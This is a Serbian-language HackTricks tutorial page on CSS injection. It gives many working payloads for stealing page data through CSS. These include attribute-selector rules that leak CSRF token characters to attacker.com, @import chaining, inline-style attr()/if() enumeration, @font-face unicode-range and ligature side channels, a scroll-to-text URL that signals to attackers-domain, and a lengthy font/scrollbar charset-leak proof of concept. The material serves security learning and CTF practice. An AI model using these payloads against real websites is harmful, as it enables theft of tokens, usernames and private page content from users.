CSS Injection

Reading time: 24 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

CSS Injection

Attribute Selector

Selektori CSS-a se kreiraju da bi se poklopili sa vrednostima atributa name i value elementa input. Ako value atribut elementa input počinje određenim karakterom, učitava se predefinisani eksterni resurs:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Međutim, ovaj pristup ima ograničenje kada se radi o skrivenim input elementima (type="hidden"), jer skriveni elementi ne učitavaju pozadine.

Zaobilaženje za skrivene elemente

Da biste zaobišli ovo ograničenje, možete ciljati naredni srodni element koristeći ~ general sibling combinator. CSS pravilo će se potom primeniti na sve srodne elemente koji slede nakon skrivenog input elementa, prouzrokujući učitavanje pozadinske slike:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Praktičan primer iskorišćavanja ove tehnike detaljno je prikazan u priloženom isječku koda. Možete ga pogledati here.

Preduslovi za CSS Injection

Da bi tehnika CSS Injection bila efikasna, moraju biti ispunjeni određeni uslovi:

  1. Payload Length: Vektor za CSS Injection mora podržavati dovoljno duge payloads kako bi mogao da smesti izrađene selektore.
  2. CSS Re-evaluation: Trebalo bi da imate mogućnost da uokvirite (frame) stranicu, što je neophodno da bi se pokrenula ponovna evaluacija CSS-a sa novo generisanim payloads.
  3. External Resources: Tehnika podrazumeva mogućnost korišćenja eksterno hostovanih slika. To može biti ograničeno Content Security Policy-jem (CSP) sajta.

Blind Attribute Selector

As explained in this post, moguće je kombinovati selektore :has i :not da se identifikuje sadržaj čak i iz blind elemenata. Ovo je veoma korisno kada nemate pojma šta se nalazi unutar web stranice koja učitava CSS injection.
Takođe je moguće koristiti te selektore za izdvajanje informacija iz nekoliko blokova istog tipa, kao u:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Kombinovanjem ovoga sa sledećom @import tehnikom, moguće je exfiltrate mnogo info koristeći CSS injection sa blind stranica uz blind-css-exfiltration.

@import

Prethodna tehnika ima određene nedostatke, proverite zahteve. Potrebno je ili da možete poslati više linkova žrtvi, ili da možete iframe-ovati stranicu ranjivu na CSS injection.

Međutim, postoji još jedna pametna tehnika koja koristi CSS @import da poboljša kvalitet tehnike.

Ovo je prvi pokazao Pepe Vila i radi ovako:

Umesto učitavanja iste stranice iznova i iznova sa desetinama različitih payload-ova svaki put (kao u prethodnom primeru), učitaćemo stranicu samo jednom i samo sa importom ka napadačevom serveru (ovo je payload koji se šalje žrtvi):

css
@import url("//attacker.com:5001/start?");
  1. Import će primiti neki CSS skript od napadača i pregledač će ga učitati.
  2. Prvi deo CSS skripta koji će napadač poslati je još jedan @import ka serveru napadača.
  3. Server napadača još neće odgovoriti na ovaj zahtev, jer želimo da leak-ujemo neke znakove pa onda da odgovorimo na ovaj import sa payload-om koji će leak-ovati sledeće.
  4. Drugi, veći deo payload-a biće payload za curenje pomoću attribute selektora
  5. Ovo će poslati serveru napadača prvi znak tajne i poslednji
  6. Kada server napadača primi prvi i poslednji znak tajne, on će odgovoriti na import zahtevan u koraku 2.
  7. Odgovor će biti tačno isti kao u koracima 2, 3 i 4, ali ovaj put će pokušati da nađe drugi znak tajne, pa onda pretposlednji.

Napadač će follow that loop until it manages to leak completely the secret.

You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.

tip

Skript će pokušavati da otkrije po 2 znaka svaki put (sa početka i sa kraja) zato što attribute selector omogućava stvari kao što su:

/* value^=  to match the beggining of the value*/
input[value^="0"] {
 --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  to match the ending of the value*/
input[value$="f"] {
 --e0: url(http://localhost:5001/leak?post=f);
}

Ovo omogućava skriptu da brže leak-uje tajnu.

warning

Ponekad skript ne detektuje ispravno da je prefix + suffix koji je otkriven već kompletan flag i nastaviće napred (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će zaglaviti.
Bez brige, samo proverite izlaz jer tamo možete videti flag.

Inline-Style CSS Exfiltration (attr() + if() + image-set())

Ova primitiva omogućava exfiltration koristeći samo inline style atribut elementa, bez selektora ili eksternih stylesheet-ova. Oslanja se na CSS custom properties, funkciju attr() za čitanje atributa istog elementa, nove CSS if() uslove za grananje, i image-set() za pokretanje mrežnog zahteva koji enkodira poklapanu vrednost.

warning

Poređenja jednakosti u if() zahtevaju dvostruke navodnike za string literale. Jednostruki navodnici neće odgovarati.

  • Sink: kontrolišite style atribut elementa i osigurajte da je ciljani atribut na istom elementu (attr() čita samo atribute istog elementa).
  • Read: kopirajte atribut u CSS varijablu: --val: attr(title).
  • Decide: izaberite URL koristeći ugnježdene uslove koji porede varijablu sa string kandidatima: --steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2)).
  • Exfiltrate: primenite background: image-set(var(--steal)) (ili bilo koje fetching svojstvo) da biste primorali zahtev ka izabranom endpoint-u.

Attempt (does not work; single quotes in comparison):

html
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>

Funkcionalan payload (u poređenju su obavezni dvostruki navodnici):

html
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>

Enumerisanje vrednosti atributa sa ugnježdenim uslovima:

html
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>

Realističan demo (probing usernames):

html
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>

Beleške i ograničenja:

  • Radi na Chromium-based browserima u vreme istraživanja; ponašanje se može razlikovati na drugim engine-ima.
  • Najpogodnije za konačne/enumerabilne skupove vrednosti (IDs, flags, short usernames). Krađa proizvoljno dugih stringova bez external stylesheets i dalje predstavlja izazov.
  • Bilo koje CSS svojstvo koje vadi URL može da se iskoristi da okine request (npr. background/image-set, border-image, list-style, cursor, content).

Automation: a Burp Custom Action can generate nested inline-style payloads to brute-force attribute values: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda

Ostali selektori

Drugi načini pristupa delovima DOM-a pomoću CSS selectors:

  • .class-to-search:nth-child(2): Ovo će tražiti drugi element sa klasom "class-to-search" u DOM-u.
  • :empty selector: Koristi se, na primer, u this writeup:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Referenca: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq

Opšti cilj je da se koristi custom font sa kontrolisanog endpoint-a i da se obezbedi da se tekst (u ovom slučaju, 'A') prikazuje tim fontom samo ako navedeni resurs (favicon.ico) ne može da se učita.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Korišćenje prilagođenog fonta:
  • Prilagođeni font je definisan pomoću pravila @font-face unutar <style> taga u <head> sekciji.
  • Font se zove poc i preuzima se sa eksternog endpointa (http://attacker.com/?leak).
  • Svojstvo unicode-range je postavljeno na U+0041, ciljajući specifičan Unicode karakter 'A'.
  1. Element object sa rezervnim tekstom:
  • U <body> sekciji kreiran je <object> element sa id="poc0". Ovaj element pokušava da učita resurs sa http://192.168.0.1/favicon.ico.
  • Za ovaj element font-family je postavljen na 'poc', kako je definisano u <style> sekciji.
  • Ako se resurs (favicon.ico) ne može učitati, prikazuje se fallback sadržaj (slovo 'A') unutar <object> taga.
  • Fallback sadržaj ('A') će biti renderovan koristeći prilagođeni font poc ako se eksterni resurs ne može učitati.

Stilizovanje Scroll-to-text fragmenta

Pseudo-klasa :target se koristi za izbor elementa na koji je ciljan URL fragment, kako je navedeno u CSS Selectors Level 4 specification. Ključno je razumeti da ::target-text ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.

Pojavljuje se bezbednosni problem kada napadači iskoriste Scroll-to-text fragment feature, što im omogućava da potvrde prisustvo specifičnog teksta na veb-stranici učitavanjem resursa sa svog servera putem HTML injekcije. Metod uključuje ubacivanje CSS pravila kao što je ovo:

css
:target::before {
content: url(target.png);
}

U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs target.png se zahteva sa servera, što ukazuje na prisustvo teksta. Instanca ovog napada može se izvesti putem posebno oblikovanog URL-a koji ugrađuje injektovani CSS zajedno sa Scroll-to-text fragmentom:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Ovde napad manipuliše HTML injection-om da prenese CSS kod, ciljajući specifičan tekst "Administrator" putem Scroll-to-text fragment (#:~:text=Administrator). Ako se tekst pronađe, naznačeni resurs se učitava, nenamerno signalizirajući njegovu prisutnost napadaču.

Za ublažavanje rizika treba imati u vidu sledeće:

  1. Constrained STTF Matching: Scroll-to-text Fragment (STTF) je dizajniran da pogađa samo reči ili rečenice, čime se ograničava njegova sposobnost da leak proizvoljne tajne ili tokene.
  2. Restriction to Top-level Browsing Contexts: STTF funkcioniše isključivo u top-level browsing contexts i ne radi unutar iframes, zbog čega svaki pokušaj exploitation postaje uočljiviji korisniku.
  3. Necessity of User Activation: STTF zahteva user-activation gesture da bi radio, što znači da su exploitations izvodljive samo kroz navigacije pokrenute od strane korisnika. Ovaj zahtev znatno ublažava rizik da napadi budu automatizovani bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i bypasses (npr. social engineering, interakcija sa raširenim browser extensions) koji mogu olakšati automatizaciju attacka.

Razumevanje ovih mehanizama i potencijalnih ranjivosti ključno je za održavanje web sigurnosti i zaštitu od takvih eksploatativnih taktika.

Za više informacija pogledajte originalni izveštaj: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Možete pogledati an exploit using this technique for a CTF here.

@font-face / unicode-range

Možete odrediti eksterne fontove za određene unicode vrednosti koji će biti učitani samo ako su te unicode vrednosti prisutne na stranici. Na primer:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".

Text node exfiltration (I): ligatures

Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Tehnika opisana ovde uključuje izdvajanje teksta iz čvora iskorišćavanjem font ligatura i praćenjem promena širine. Proces se sastoji iz nekoliko koraka:

  1. Creation of Custom Fonts:
  • SVG fonts se prave sa glyph-ovima koji imaju atribut horiz-adv-x, koji postavlja veliku širinu za glif koji predstavlja dvocarakterni niz.
  • Primer SVG glifa: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, gde "XY" označava dvocarakterni niz.
  • Ti fontovi se zatim konvertuju u woff format koristeći fontforge.
  1. Detection of Width Changes:
  • CSS se koristi da se osigura da se tekst ne prelama (white-space: nowrap) i da se prilagodi stil scrollbar-a.
  • Pojava horizontalnog scrollbar-a, stilizovanog na poseban način, deluje kao indikator (oracle) da je određena ligatura, i samim tim određeni sekvenca karaktera, prisutna u tekstu.
  • Upleteni CSS:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Exploit Process:
  • Step 1: Prave se fontovi za parove karaktera sa velikom širinom.
  • Step 2: Koristi se trik sa scrollbar-om da se detektuje kada se veliki glif (ligatura za par karaktera) renderuje, što ukazuje na prisustvo te sekvence karaktera.
  • Step 3: Po detekciji ligature, generišu se novi glifovi koji predstavljaju trokarakternе sekvence, uključujući detektovani par i dodajući prethodni ili sledeći karakter.
  • Step 4: Vrši se detekcija trokarakterne ligature.
  • Step 5: Proces se ponavlja i postepeno otkriva ceo tekst.
  1. Optimization:
  • Trenutna metoda inicijalizacije koja koristi <meta refresh=... nije optimalna.
  • Efikasniji pristup bi mogao uključivati CSS @import trik, što bi poboljšalo performanse exploita.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq

Ovaj trik je objavljen u ovom Slackers thread. Charset koji se koristi u text node-u može biti leaked koristeći default fontove instalirane u pregledaču: nisu potrebni eksterni ili prilagođeni fontovi.

Koncept se zasniva na korišćenju animacije da se postepeno proširuje širina div-a, dopuštajući po jednom karakteru da pređe iz 'suffix' dela teksta u 'prefix' deo. Ovaj proces efikasno deli tekst na dva dela:

  1. Prefix: početni red.
  2. Suffix: naredni red(ovi).

Faze tranzicije karaktera izgledale bi ovako:

C
ADB

CA
DB

CAD
B

CADB

Tokom ove tranzicije koristi se unicode-range trick da se identifikuje svaki novi karakter kada se pridruži prefix-u. Ovo se postiže prebacivanjem fonta na Comic Sans, koji je primetno viši od default fonta, što zauzvrat pokreće vertikalni scrollbar. Pojava tog scrollbar-a indirektno otkriva prisustvo novog karaktera u prefix-u.

Iako ova metoda omogućava detekciju jedinstvenih karaktera kako se pojavljuju, ne navodi koji se karakter ponavlja, već samo da je došlo do ponavljanja.

tip

U suštini, unicode-range se koristi da detektuje char, ali pošto ne želimo da učitavamo eksterni font, moramo naći drugi način.
Kada je char pronađen, dodeljuje mu se preinstalirani Comic Sans font, koji čini char većim i pokreće scrollbar koji će leak-ovati pronađeni char.

Check the code extracted from the PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom writeupu

Ovaj slučaj je veoma sličan prethodnom, međutim, ovde je cilj da se određeni chars povećaju više od drugih kako bi se nešto sakrilo — na primer dugme koje bot ne bi trebalo da pritisne ili slika koja se neće učitati. Na taj način možemo izmeriti radnju (ili izostanak radnje) i saznati da li se određeni char nalazi u tekstu.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

Reference: Ovo je pomenuto kao neuspešno rešenje u ovom writeupu

U tom slučaju možemo pokušati da leak da li se određeni char nalazi u tekstu učitavanjem lažnog fonta iz istog origin-a:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Ako postoji podudaranje, font će biti učitan sa /static/bootstrap.min.css?q=1. Iako se neće uspešno učitati, pregledač bi trebalo da ga kešira, i čak i ako nema keša, postoji mehanizam 304 not modified, tako da bi odgovor trebao biti brži nego ostale stvari.

Međutim, ako vremenska razlika između keširanog odgovora i ne-keširanog nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: "Međutim, nakon testiranja, otkrio sam da je prvi problem što brzina nije mnogo drugačija, a drugi problem je što bot koristi disk-cache-size=1 flag, što je zaista promišljeno."

Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)

Referenca: Ovo je pomenuto kao an unsuccessful solution in this writeup

U ovom slučaju možete specificirati CSS koji učitava stotine lažnih fontova sa istog origin-a kada se dogodi podudaranje. Na ovaj način možete izmeriti vreme koje je potrebno i otkriti da li se neki karakter pojavljuje ili ne pomoću nečega poput:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

A kod bota izgleda ovako:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Dakle, ako font ne odgovara, očekivano vreme odgovora pri poseti botu je približno 30 sekundi. Međutim, ako postoji podudaranje fonta, biće poslati višestruki zahtevi za preuzimanje fonta, što izaziva kontinuiranu mrežnu aktivnost. Zbog toga će biti potrebno duže da se ispuni uslov za zaustavljanje i da se primi odgovor. Stoga se vreme odgovora može koristiti kao indikator za utvrđivanje da li postoji podudaranje fonta.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks